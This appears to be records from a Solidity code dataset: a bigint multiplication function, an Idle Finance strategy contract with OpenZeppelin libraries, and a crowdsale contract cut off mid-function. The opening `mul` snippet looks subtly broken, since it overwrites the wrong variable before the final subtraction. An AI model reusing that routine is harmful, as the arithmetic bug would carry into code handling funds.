function mul(bigint a, bigint b) private returns(bigint res){ bigint memory add_and_modexp; bigint memory sub_and_modexp; bigint memory modulus; bigint memory two = create_bigint(1,2,false); uint _sign; uint mod_index; (add_and_modexp, _sign) = add(a,b); modulus = create_bigint((add_and_modexp.size*2), 0, false); mod_index = get_bit_size(add_and_modexp)*2; add_and_modexp = _modexp(add_and_modexp,two,modulus); (sub_and_modexp, _sign) = sub(a,b); modulus = create_bigint((sub_and_modexp.size*2), 0, false); mod_index = get_bit_size(sub_and_modexp)*2; add_and_modexp = _modexp(sub_and_modexp,two,modulus); (res, _sign) = sub(add_and_modexp,sub_and_modexp); return res; }
7,312,264
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.10; import "../../interfaces/IIdleCDOStrategy.sol"; import "../../interfaces/IIdleToken.sol"; import "../../interfaces/IERC20Detailed.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; /// @author Idle Labs Inc. /// @title IdleStrategy /// @notice IIdleCDOStrategy to deploy funds in Idle Finance /// @dev This contract should not have any funds at the end of each tx. /// The contract is upgradable, to add storage slots, add them after the last `###### End of storage VXX` contract IdleStrategy is Initializable, OwnableUpgradeable, ReentrancyGuardUpgradeable, IIdleCDOStrategy { using SafeERC20Upgradeable for IERC20Detailed; /// ###### Storage V1 /// @notice one idleToken (all idleTokens have 18 decimals) uint256 public constant ONE_IDLE_TOKEN = 10**18; /// @notice address of the strategy used, in this case idleToken address address public override strategyToken; /// @notice underlying token address (eg DAI) address public override token; /// @notice one underlying token uint256 public override oneToken; /// @notice decimals of the underlying asset uint256 public override tokenDecimals; /// @notice underlying ERC20 token contract IERC20Detailed public underlyingToken; /// @notice idleToken contract IIdleToken public idleToken; address internal constant stkAave = address(0x4da27a545c0c5B758a6BA100e3a049001de870f5); address internal constant idleGovTimelock = address(0xD6dABBc2b275114a2366555d6C481EF08FDC2556); address public whitelistedCDO; /// ###### End of storage V1 // Used to prevent initialization of the implementation contract /// @custom:oz-upgrades-unsafe-allow constructor constructor() { token = address(1); } // ################### // Initializer // ################### /// @notice can only be called once /// @dev Initialize the upgradable contract /// @param _strategyToken address of the strategy token /// @param _owner owner address function initialize(address _strategyToken, address _owner) public initializer { require(token == address(0), 'Initialized'); // Initialize contracts OwnableUpgradeable.__Ownable_init(); ReentrancyGuardUpgradeable.__ReentrancyGuard_init(); // Set basic parameters strategyToken = _strategyToken; token = IIdleToken(_strategyToken).token(); tokenDecimals = IERC20Detailed(token).decimals(); oneToken = 10**(tokenDecimals); idleToken = IIdleToken(_strategyToken); underlyingToken = IERC20Detailed(token); underlyingToken.safeApprove(_strategyToken, type(uint256).max); // transfer ownership transferOwnership(_owner); } // ################### // Public methods // ################### /// @dev msg.sender should approve this contract first to spend `_amount` of `token` /// @param _amount amount of `token` to deposit /// @return minted strategyTokens minted function deposit(uint256 _amount) external override returns (uint256 minted) { if (_amount > 0) { IIdleToken _idleToken = idleToken; /// get `tokens` from msg.sender underlyingToken.safeTransferFrom(msg.sender, address(this), _amount); /// deposit those in Idle minted = _idleToken.mintIdleToken(_amount, true, address(0)); /// transfer idleTokens to msg.sender _idleToken.transfer(msg.sender, minted); } } /// @dev msg.sender should approve this contract first to spend `_amount` of `strategyToken` /// @param _amount amount of strategyTokens to redeem /// @return amount of underlyings redeemed function redeem(uint256 _amount) external override returns(uint256) { return _redeem(_amount); } /// @notice Anyone can call this because this contract holds no idleTokens and so no 'old' rewards /// NOTE: stkAAVE rewards are not sent back to the use but accumulated in this contract until 'pullStkAAVE' is called /// @dev msg.sender should approve this contract first to spend `_amount` of `strategyToken`. /// redeem rewards and transfer them to msg.sender function redeemRewards(bytes calldata) external override returns (uint256[] memory _balances) { IIdleToken _idleToken = idleToken; // Get all idleTokens from msg.sender uint256 bal = _idleToken.balanceOf(msg.sender); if (bal > 0) { _idleToken.transferFrom(msg.sender, address(this), bal); // Do a 0 redeem to get gov tokens _idleToken.redeemIdleToken(0); // Give all idleTokens back to msg.sender _idleToken.transfer(msg.sender, bal); // Send all gov tokens to msg.sender _balances = _withdrawGovToken(msg.sender); } } /// @dev msg.sender should approve this contract first /// to spend `_amount * ONE_IDLE_TOKEN / price()` of `strategyToken` /// @param _amount amount of underlying tokens to redeem /// @return amount of underlyings redeemed function redeemUnderlying(uint256 _amount) external override returns(uint256) { // we are getting price before transferring so price of msg.sender return _redeem(_amount * ONE_IDLE_TOKEN / price()); } // ################### // Internal // ################### /// @notice sends all gov tokens in this contract to an address /// NOTE: stkAAVE rewards are not sent back to the use but accumulated in this contract until 'pullStkAAVE' is called /// @dev only called /// @param _to address where to send gov tokens (rewards) function _withdrawGovToken(address _to) internal returns (uint256[] memory _balances) { address[] memory _govTokens = idleToken.getGovTokens(); _balances = new uint256[](_govTokens.length); for (uint256 i = 0; i < _govTokens.length; i++) { IERC20Detailed govToken = IERC20Detailed(_govTokens[i]); // get the current contract balance uint256 bal = govToken.balanceOf(address(this)); // stkAAVE balance is included _balances[i] = bal; if (bal > 0 && address(govToken) != stkAave) { // transfer all gov tokens except for stkAAVE govToken.safeTransfer(_to, bal); } } } /// @dev msg.sender should approve this contract first to spend `_amount` of `strategyToken` /// @param _amount amount of strategyTokens to redeem /// @return redeemed amount of underlyings redeemed function _redeem(uint256 _amount) internal returns(uint256 redeemed) { if (_amount > 0) { IIdleToken _idleToken = idleToken; // get idleTokens from the user _idleToken.transferFrom(msg.sender, address(this), _amount); // redeem underlyings from Idle redeemed = _idleToken.redeemIdleToken(_amount); // transfer underlyings to msg.sender underlyingToken.safeTransfer(msg.sender, redeemed); // transfer gov tokens to msg.sender _withdrawGovToken(msg.sender); } } // ################### // Views // ################### /// @return net price in underlyings of 1 strategyToken function price() public override view returns(uint256) { // idleToken price is specific to each user return idleToken.tokenPriceWithFee(msg.sender); } /// @return apr net apr (fees should already be excluded) function getApr() external override view returns(uint256 apr) { IIdleToken _idleToken = idleToken; apr = _idleToken.getAvgAPR(); // remove fee // 100000 => 100% in IdleToken contracts apr -= apr * _idleToken.fee() / 100000; } /// @return tokens array of reward token addresses function getRewardTokens() external override view returns(address[] memory tokens) { return idleToken.getGovTokens(); } // ################### // Protected // ################### /// @notice Allow the CDO to pull stkAAVE rewards /// @return _bal amount of stkAAVE transferred function pullStkAAVE() external override returns(uint256 _bal) { require(msg.sender == whitelistedCDO || msg.sender == idleGovTimelock || msg.sender == owner(), "!AUTH"); IERC20Detailed _stkAave = IERC20Detailed(stkAave); _bal = _stkAave.balanceOf(address(this)); if (_bal > 0) { _stkAave.transfer(msg.sender, _bal); } } /// @notice This contract should not have funds at the end of each tx (except for stkAAVE), this method is just for leftovers /// @dev Emergency method /// @param _token address of the token to transfer /// @param value amount of `_token` to transfer /// @param _to receiver address function transferToken(address _token, uint256 value, address _to) external onlyOwner nonReentrant { IERC20Detailed(_token).safeTransfer(_to, value); } /// @notice allow to update address whitelisted to pull stkAAVE rewards function setWhitelistedCDO(address _cdo) external onlyOwner { require(_cdo != address(0), "IS_0"); whitelistedCDO = _cdo; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.10; interface IIdleCDOStrategy { function strategyToken() external view returns(address); function token() external view returns(address); function tokenDecimals() external view returns(uint256); function oneToken() external view returns(uint256); function redeemRewards(bytes calldata _extraData) external returns(uint256[] memory); function pullStkAAVE() external returns(uint256); function price() external view returns(uint256); function getRewardTokens() external view returns(address[] memory); function deposit(uint256 _amount) external returns(uint256); // _amount in `strategyToken` function redeem(uint256 _amount) external returns(uint256); // _amount in `token` function redeemUnderlying(uint256 _amount) external returns(uint256); function getApr() external view returns(uint256); } // SPDX-License-Identifier: Apache-2.0 /** * @title: Idle Token interface * @author: Idle Labs Inc., idle.finance */ pragma solidity 0.8.10; import "./IERC20Detailed.sol"; interface IIdleToken is IERC20Detailed { function tokenPrice() external view returns (uint256 price); function tokenDecimals() external view returns (uint256); function token() external view returns (address); function getAPRs() external view returns (address[] memory addresses, uint256[] memory aprs); function mintIdleToken(uint256 _amount, bool _skipRebalance, address _referral) external returns (uint256 mintedTokens); function redeemIdleToken(uint256 _amount) external returns (uint256 redeemedTokens); function redeemInterestBearingTokens(uint256 _amount) external; function rebalance() external returns (bool); function getAvgAPR() external view returns (uint256); function govTokens(uint256 index) external view returns (address); function getGovTokensAmounts(address _usr) external view returns (uint256[] memory _amounts); function getAllocations() external view returns (uint256[] memory); function getGovTokens() external view returns (address[] memory); function getAllAvailableTokens() external view returns (address[] memory); function getProtocolTokenToGov(address _protocolToken) external view returns (address); function oracle() external view returns (address); function owner() external view returns (address); function rebalancer() external view returns (address); function protocolWrappers(address) external view returns (address); function tokenPriceWithFee(address user) external view returns (uint256 priceWFee); function fee() external view returns (uint256); function setAllocations(uint256[] calldata _allocations) external; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.10; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; interface IERC20Detailed is IERC20Upgradeable { function name() external view returns(string memory); function symbol() external view returns(string memory); function decimals() external view returns(uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; import "../../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
msg.sender should approve this contract first to spend `_amount ONE_IDLE_TOKEN / price()` of `strategyToken` _amount amount of underlying tokens to redeem return amount of underlyings redeemed we are getting price before transferring so price of msg.sender
function redeemUnderlying(uint256 _amount) external override returns(uint256) { return _redeem(_amount * ONE_IDLE_TOKEN / price()); }
14,498,509
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "../access/Roles.sol"; /** * @title FriendlyCrowdsale * @author Vittorio Minacori (https://github.com/vittominacori) * @dev FriendlyCrowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. */ contract FriendlyCrowdsale is ReentrancyGuard, Roles { using SafeMath for uint256; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; using Address for address; // The token being sold IERC20 private _token; // Address where funds are collected address payable private _wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 private _rate; // Amount of wei raised uint256 private _weiRaised; // Max amount of wei to be contributed uint256 private _cap; // Crowdsale opening time uint256 private _openingTime; // Crowdsale closing time uint256 private _closingTime; // Minimum amount of funds to be raised in weis uint256 private _goal; // If the Crowdsale is finalized or not bool private _finalized; // Address where fee are collected address payable private _feeWallet; // Per mille rate fee uint256 private _feePerMille; // List of addresses who contributed in crowdsales EnumerableSet.AddressSet private _investors; // Map of investors deposit mapping(address => uint256) private _deposits; // Map of investors purchased tokens mapping(address => uint256) private _purchasedTokens; // Crowdsale status list enum State { Review, Active, Refunding, Closed, Expired, Rejected } // Crowdsale current state State private _state; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event CrowdsaleFinalized(); event Enabled(); event Rejected(); event RefundsClosed(); event RefundsEnabled(); event Expired(); event Withdrawn(address indexed refundee, uint256 weiAmount); /** * @param openingTime Crowdsale opening time * @param closingTime Crowdsale closing time * @param cap Max amount of wei to be contributed * @param goal Funding goal * @param rate Number of token units a buyer gets per wei * @param wallet Address where collected funds will be forwarded to * @param token Address of the token being sold * @param feeWallet Address of the fee wallet * @param feePerMille The per mille rate fee */ constructor( uint256 openingTime, uint256 closingTime, uint256 cap, uint256 goal, uint256 rate, address payable wallet, IERC20 token, address payable feeWallet, uint256 feePerMille ) { require(rate > 0, "Crowdsale: rate is 0"); require(wallet != address(0), "Crowdsale: wallet is the zero address"); require(address(token) != address(0), "Crowdsale: token is the zero address"); // solhint-disable-next-line not-rely-on-time require(openingTime >= block.timestamp, "TimedCrowdsale: opening time is before current time"); require(closingTime > openingTime, "TimedCrowdsale: opening time is not before closing time"); require(closingTime <= openingTime + 40 days, "FriendlyCrowdsale: max allowed duration is 40 days"); require(cap > 0, "CappedCrowdsale: cap is 0"); require(goal > 0, "FriendlyCrowdsale: goal is 0"); require(goal <= cap, "FriendlyCrowdsale: goal is not less or equal cap"); require(feeWallet != address(0), "FriendlyCrowdsale: feeWallet is the zero address"); _rate = rate; _wallet = wallet; _token = token; _openingTime = openingTime; _closingTime = closingTime; _cap = cap; _goal = goal; _feeWallet = feeWallet; _feePerMille = feePerMille; _state = State.Review; _finalized = false; } /** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer funds with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a contract. */ receive() external payable { buyTokens(_msgSender()); } /** * @return the token being sold. */ function token() external view returns (IERC20) { return _token; } /** * @return the address where funds are collected. */ function wallet() external view returns (address payable) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate() external view returns (uint256) { return _rate; } /** * @return the amount of wei raised. */ function weiRaised() external view returns (uint256) { return _weiRaised; } /** * @return the cap of the crowdsale. */ function cap() external view returns (uint256) { return _cap; } /** * @return the crowdsale opening time. */ function openingTime() external view returns (uint256) { return _openingTime; } /** * @return the crowdsale closing time. */ function closingTime() external view returns (uint256) { return _closingTime; } /** * @return true if the crowdsale is finalized, false otherwise. */ function finalized() external view returns (bool) { return _finalized; } /** * @return address where fee are collected. */ function feeWallet() external view returns (address payable) { return _feeWallet; } /** * @return the per mille rate fee. */ function feePerMille() external view returns (uint256) { return _feePerMille; } /** * @return minimum amount of funds to be raised in wei. */ function goal() external view returns (uint256) { return _goal; } /** * @return The current state of the escrow. */ function state() external view returns (State) { return _state; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return _weiRaised >= _cap; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solhint-disable-next-line not-rely-on-time return block.timestamp > _closingTime; } /** * @return false if the ico is not started, true if the ico is started and running, true if the ico is completed */ function started() public view returns (bool) { return block.timestamp >= _openingTime; // solhint-disable-line not-rely-on-time } /** * @return false if the ico is not started, false if the ico is started and running, true if the ico is completed */ function ended() public view returns (bool) { return hasClosed() || capReached(); } /** * @return true if the crowdsale is open, false otherwise. */ function isOpen() public view returns (bool) { return started() && !hasClosed(); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return _weiRaised >= _goal; } /** * @dev Return the investors length. * @return uint representing investors number */ function investorsNumber() public view returns (uint) { return _investors.length(); } /** * @dev Check if a investor exists. * @param account The address to check * @return bool */ function investorExists(address account) public view returns (bool) { return _investors.contains(account); } /** * @dev Return the investors address by index. * @param index A progressive index of investor addresses * @return address of an investor by list index */ function getInvestorAddress(uint index) public view returns (address) { return _investors.at(index); } /** * @dev get wei contribution for the given address * @param account Address has contributed * @return uint256 */ function weiContribution(address account) public view returns (uint256) { return _deposits[account]; } /** * @dev get purchased tokens for the given address * @param account Address has contributed * @return uint256 */ function purchasedTokens(address account) public view returns (uint256) { return _purchasedTokens[account]; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * This function has a non-reentrancy guard, so it shouldn't be called by * another `nonReentrant` function. * @param beneficiary Recipient of the token purchase */ function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount, tokens); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } 